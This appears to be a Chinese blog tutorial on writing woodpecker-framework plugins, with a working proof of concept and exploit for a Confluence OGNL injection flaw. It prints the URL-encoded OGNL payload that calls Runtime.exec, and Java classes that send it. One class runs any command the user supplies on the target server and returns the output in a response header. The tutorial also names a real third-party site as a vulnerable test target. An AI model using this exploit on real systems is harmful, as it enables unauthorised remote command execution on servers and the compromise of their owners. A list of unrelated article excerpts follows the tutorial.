POC EXP | woodpecker插件编写

news2024/11/24 13:21:46

woodpecker插件编写

目录

  • woodpecker介绍
  • woodpecker使用
  • 插件编写
    • 安装环境
      • woodpecker-sdk
      • woodpecker-request
    • 创建Maven项目
  • Confluence OGNL表达式注入漏洞插件编写
    • 创建Package包和Class类
    • 编写POC
      • 漏洞POC
      • 代码编写
      • 导出jar包
      • 将jar包放入woodpecker的plugin目录
      • 运行woodpecker测试
    • 编写EXP
      • 代码编写
      • 运行woodpecker测试

woodpecker介绍

  • https://github.com/woodpecker-framework/woodpecker-framework-release

woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞

针对人群:专业打点人士。

  • 目标探测
  • 精准检测
  • 深度利用
  • 荷载生成

在这里插入图片描述

woodpecker使用

java -jar woodpecker-framework.1.3.5.jar

运行之后,会自动生成common、config.db、plugin

在这里插入图片描述

plugin用来存放woopecker插件。

插件编写

安装环境

woodpecker-sdk

woodpecker-sdkwoodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。

  • https://github.com/woodpecker-framework/woodpecker-sdk

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

woodpecker-request

woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

  • https://github.com/woodpecker-framework/woodpecker-requests

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

创建Maven项目

在这里插入图片描述

在这里插入图片描述

    <dependencies>
        <dependency>
            <groupId>me.gv7.woodpecker</groupId>
            <artifactId>woodpecker-sdk</artifactId>
            <version>0.3.0</version>
        </dependency>
        <dependency>
            <groupId>me.gv7.woodpecker</groupId>
            <artifactId>woodpecker-requests</artifactId>
            <version>0.2.0</version>
        </dependency>
    </dependencies>

Confluence OGNL表达式注入漏洞插件编写

创建Package包和Class类

创建Package包

  • exploit
  • pocs
  • utils

和Class类

  • ConfluenceVulPlugin(不固定,和漏洞名相关)
  • WoodpeckerPluginManager整个程序的入口
  • ConfluenceOgnlPoc(不固定,和漏洞名相关)
  • ConfluenceOgnlExp(不固定,和漏洞名相关)

在这里插入图片描述

编写POC

漏洞POC

http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/

进行url编码为:

/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/

代码编写

WoodpeckerPluginManager类:(整个插件的入口)

package me.gv7.woodpecker.plugin;

// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{
    @Override
    public void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {
        // 注册漏洞插件
        iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );
    }
}

ConfluenceVulPlugin类:(具体的漏洞插件类)

package me.gv7.woodpecker.plugin;

import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;

import java.util.ArrayList;
import java.util.List;

// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{

    public static IVulPluginCallbacks callbacks;
    public static IPluginHelper pluginHelper;
    @Override
    public void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {
        this.callbacks = iVulPluginCallbacks;
        this.pluginHelper = iVulPluginCallbacks.getPluginHelper();

        iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字
        iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名
        iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本
        iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称
        iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述

        // 注册漏洞验证模块
        iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());

        // 注册漏洞利用模块(利用模块可以有多个)
        List<IExploit> exploitList = new ArrayList();
        exploitList.add(new ConfluenceOgnlExp());
        iVulPluginCallbacks.registerExploit(exploitList);
    }
}


ConfluenceOgnlPoc类:

package me.gv7.woodpecker.plugin.pocs;

import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;

import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

public class ConfluenceOgnlPoc implements IPoc {
    @Override
    public IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {
        // 创建输出模块,用作结果的输出
        IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();
        // 设置目标地址,iTarget.getAddress()由插件面板获取地址
        scanResult.setTarget(iTarget.getAddress());
        // 调用漏洞验证函数
        Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());

        scanResult.setExists((Boolean) responseMap.get("flag"));
        scanResult.setMsg((String) responseMap.get("results"));

        iResultOutput.infoPrintln((String) responseMap.get("results"));
        return scanResult;
    }
    
    // 漏洞验证函数
    private Map<String, Object> checkConfluenceOgnl(String address){
        Map<String,Object> responseMap = new HashMap<>();
        boolean flag = false;
        String results  = null;
        try {
            /*
                Requests.get()发送一个get请求(验证漏洞的POC)。
                verify(false) : 忽略https证书失效
                timeout(3000) : 超时时间3000毫秒
                send() : 发送
            */
            RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
            String header = response.getHeader("X-Response");
            if(response.statusCode() == 302 && header.contains("ognlinject")){
                flag = true;
                results = String.format("%s存在命令注入漏洞!!!",address);
            }else {
                flag = false;
                results = String.format("%s不存在命令注入漏洞",address);
            }

        }catch (Exception e){
            flag = false;
            results = String.format("%s不存在命令注入漏洞",address);
        }finally {
            // 设置responseMap的值,将flag和results带回去
            responseMap.put("flag",flag);
            responseMap.put("results",results);
        }
        // 返回
        return responseMap;
    }
}

导出jar包

点击“package”生成jar包:

在这里插入图片描述

在这里插入图片描述

将jar包放入woodpecker的plugin目录

在这里插入图片描述

运行woodpecker测试

在这里插入图片描述

测试网址:此网址存在该漏洞

https://confluence.startwire.com

在这里插入图片描述

编写EXP

代码编写

ConfluenceOgnlExp类:

package me.gv7.woodpecker.plugin.exploit;

import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;

import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class ConfluenceOgnlExp implements IExploit {
    @Override
    public String getExploitTabCaption() {
        return "代码执行";  // 选项名称
    }

    // 接收用户参数
    @Override
    public IArgsUsageBinder getExploitCustomArgs() {
        IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();
        List<IArg> args = new ArrayList<>();

        IArg command = ConfluenceVulPlugin.pluginHelper.createArg();
        command.setDescription("执行的命令");
        command.setName("Command");
        command.setDefaultValue("whoami");
        command.setRequired(true);  // 必填
        args.add(command);
        argsUsageBinder.setArgsList(args);
        return argsUsageBinder;
    }

    @Override
    public void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {
        try {
            String command = (String) map.get("Command");
            command = URLEncoder.encode(command);
            String address = iTarget.getAddress();
            RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
            if (response.statusCode() == 302){
                String responseHeader = response.getHeader("X-Response");
                iResultOutput.successPrintln(responseHeader);
            }else{
                iResultOutput.failPrintln("执行失败了~");
            }
        }catch (Exception e){
            iResultOutput.failPrintln("执行异常了~");
        }
    }
}

运行woodpecker测试

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1828033.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2.2 抽头

目录 为什么要抽头 什么是抽头 接入系数 怎么抽头 信号源端抽头 负载端抽头 例题分析 要点总结 为什么要抽头 阻抗转换&#xff0c;使信号源内阻Rs与负载电阻RL变得很大&#xff0c;分流小&#xff0c;再使用并联方式。 什么是抽头 接入系数 电容越大&#xff0c;分压越…

Hadoop 2.0:主流开源云架构(四)

目录 五、Hadoop 2.0访问接口&#xff08;一&#xff09;访问接口综述&#xff08;二&#xff09;浏览器接口&#xff08;三&#xff09;命令行接口 六、Hadoop 2.0编程接口&#xff08;一&#xff09;HDFS编程&#xff08;二&#xff09;Yarn编程 五、Hadoop 2.0访问接口 &am…

最大连续子序列和问题详解

最大连续子序列和问题如下&#xff1a;给定一个数字序列&#xff0c;求i,j&#xff0c;使得最大&#xff0c;输出这个最大和。 这个问题如果用暴力来做&#xff0c;枚举左端点和右端点&#xff0c;需要的复杂度&#xff0c;而计算需要的复杂度&#xff0c;因此总时间复杂度为。…

表面声波滤波器——压电材料(2)

声表面波压电材料 压电效应&#xff1a; 1880年&#xff0c;法国物理学家居里兄弟(PCunie 和J.Curie)发现将重物置于α石英晶体上,品体部分表面会产生电荷&#xff0c;电荷量与所受压力成正比正压电效应&#xff1a;外加压力作应下在表面间产生电位差。 和逆压电效&#xff1a…

14 学习PID--步进电机梯形加减速实现原理

步进电机加减速使用的场景有那些呢&#xff1f;为什么要使用加减速呢&#xff1f; 硬件驱动细分器与软件的细分参数或定时器分频参数设置不当时启动电机时&#xff0c;会遇见步进电机有啸叫声但是不会转动&#xff0c;这是因为软件产生脉冲的频率大于步进电机的启动频率&#x…

Iptables深入浅出

1、iptables的基本概念 众所周知iptables是Linux系统下自带免费的包过滤防火墙。其实不然&#xff0c;iptables其实不是真正的防火墙&#xff0c;我们可以把它理解成一个客户端代理&#xff0c;用户通过iptables这个代理&#xff0c;将用户的安全设定执行到对应的”安全框架”…

【Oracle APEX开发小技巧1】转换类型实现显示小数点前的 0 以 及常见类型转换

在 apex 交互式式网格中&#xff0c;有一数值类型为 NUMBER&#xff0c;保留小数点后两位的项&#xff0c;在 展示时小数点前的 0 不显示。 效果如下&#xff1a; 转换前&#xff1a; m.WEIGHT_COEFFICIENT 解决方案&#xff1a; 将 NUMBER&#xff08;20&#xff0c;2&#xf…

Python进阶:从函数到文件的编程艺术!!!

第二章&#xff1a;Python进阶 模块概述 函数是一段可重复使用的代码块&#xff0c;它接受输入参数并返回一个结果。函数可以用于执行特定的任务、计算结果、修改数据等&#xff0c;使得代码更具模块化和可重用性。 模块是一组相关函数、类和变量的集合&#xff0c;它们被封…

Android Media Framework(六)插件式编程与OMXStore

OpenMAX IL Spec阅读到上一节就结束了&#xff0c;这一节开始正式进入到Framework阅读阶段&#xff0c;我们将了解OpenMAX框架是如何与Android Framework连接的。 1、插件式编程 插件式编程&#xff08;Plugin-based Programming&#xff09;是一种软件开发模式&#xff0c;它…

docker login 报错: http: server gave HTTP response to HTTPS client

环境&#xff1a; 自建 Harbor、Docker 1. 问题分析 # 命令&#xff0c;这里用的是 IP&#xff0c;可以为域名 docker login -u test 172.16.51.182:31120 # 输入密码 Password:# 报错如下&#xff1a; Error response from daemon: Get "https://172.16.51.182:31120/…

Flutter IOS 打包上架踩坑

前言 Flutter 作为一款跨平台的移动应用开发框架&#xff0c;凭借其高效、灵活和美观的特性&#xff0c;受到了越来越多开发者的青睐。 然而&#xff0c;当开发者们倾注心血完成 Flutter iOS 应用开发后&#xff0c;如何将应用成功上架至苹果商店&#xff08;App Store&#…

关于QTcreator,19年大学时写的文章了,之前写在印象笔记现在拉过来,往事如烟呐

1.初来乍到&#xff0c;先按照书本写一个基础列程理解一下原理。 这里创建工程的时候选择Qdialog基类&#xff0c;dialog.h头文件&#xff0c;并且勾选了创建界面 &#xff08;勾选之后可以通过手动添加组块并且可以自生成他们的函数定义&#xff0c;如果没有勾选&#xff0c;…

R 初级教程之一

IT的发展目前已经相当的内卷&#xff0c;到处都在说24年是将来4年最难的一年&#xff01;确实是&#xff0c;眼下各大厂商都在疯狂的裁员砍掉不营利的业务&#xff0c;收紧业务&#xff0c;不再盲目的扩张。小公司更是水深火热&#xff0c;无以言表。近期有个医院联系让使用R给…

uniapp中unicloud接入支付宝订阅消息完整教程

经过无数次的尝试,终于还是让我做出来了 准备工作 设置接口加签方式 使用支付宝小程序订阅消息,首先要设置接口加签方式,需要下载支付宝开放平台密钥工具,按照步骤生成秘钥,然后按照支付宝设置密钥加签方式添加接口加签方式。 有一点需要注意的,因为要在云函数中使用,…

MyBatis源码--04:MyBatis缓存实现

缓存作用&#xff1a; 在程序访问数据库这个过程中&#xff0c;存在几个性能瓶颈&#xff1a; 网络通信非关系型数据库将数据存储在硬盘当中&#xff0c;需要进行硬盘操作Java对象复用问题&#xff08;Connection连接池&#xff0c;Statement对象&#xff09; 缓存在程序和数…

Python猫周刊赠书规则与书单

△△请给“Python猫”加星标 &#xff0c;以免错过文章推送 你好&#xff0c;我是猫哥。在创作《Python潮流周刊》一年多的时间里&#xff0c;我已累计通过抽奖赠书 80 本&#xff01;早期周刊是免费分享&#xff0c;所以参与人数很多&#xff0c;现在周刊转为付费后&#xff0…

Vue50-mixin混入

一、为什么要使用 mixin混入 两个组件共享一个配置。 二、使用 mixin混入 2-1、创建一个混合js文件 2-2、引入混合js文件 1、局部混合 在每个组件中都引入混合js文件 注意&#xff1a; 混合就是复用配置&#xff0c;vm实例中的所有的配置项&#xff0c;都能在混合.js文件中写…

springboot与flowable(10):网关服务(排他网关)

一、绘制流程图 排他网关用于对流程中的决策建模。当执行到这个网关时&#xff0c;会按照所有出口顺序流定义的顺序对它们进行计算。选择第一个条件为true的顺序流继续流程。例如员工请假时&#xff0c;小于等于3天由组长审批&#xff0c;大于3天由总监审批。流程案例&#xff…

前端:鼠标点击实现高亮特效

一、实现思路 获取鼠标点击位置 通过鼠标点击位置设置高亮裁剪动画 二、效果展示 三、按钮组件代码 <template><buttonclass"blueBut"click"clickHandler":style"{backgroundColor: clickBut ? rgb(31, 67, 117) : rgb(128, 128, 128),…

0614,表达式,语句

题目一&#xff1a; 许多简单的交互式程序都是基于菜单的&#xff1a;它们向用户显示可供选择的命令列表&#xff1b;一旦用户选择了某条命令&#xff0c;程序就执行相应的操作&#xff0c;然后提示用户输入下一条命令&#xff1b;这个过程一直会持续到用户选择 "退出&qu…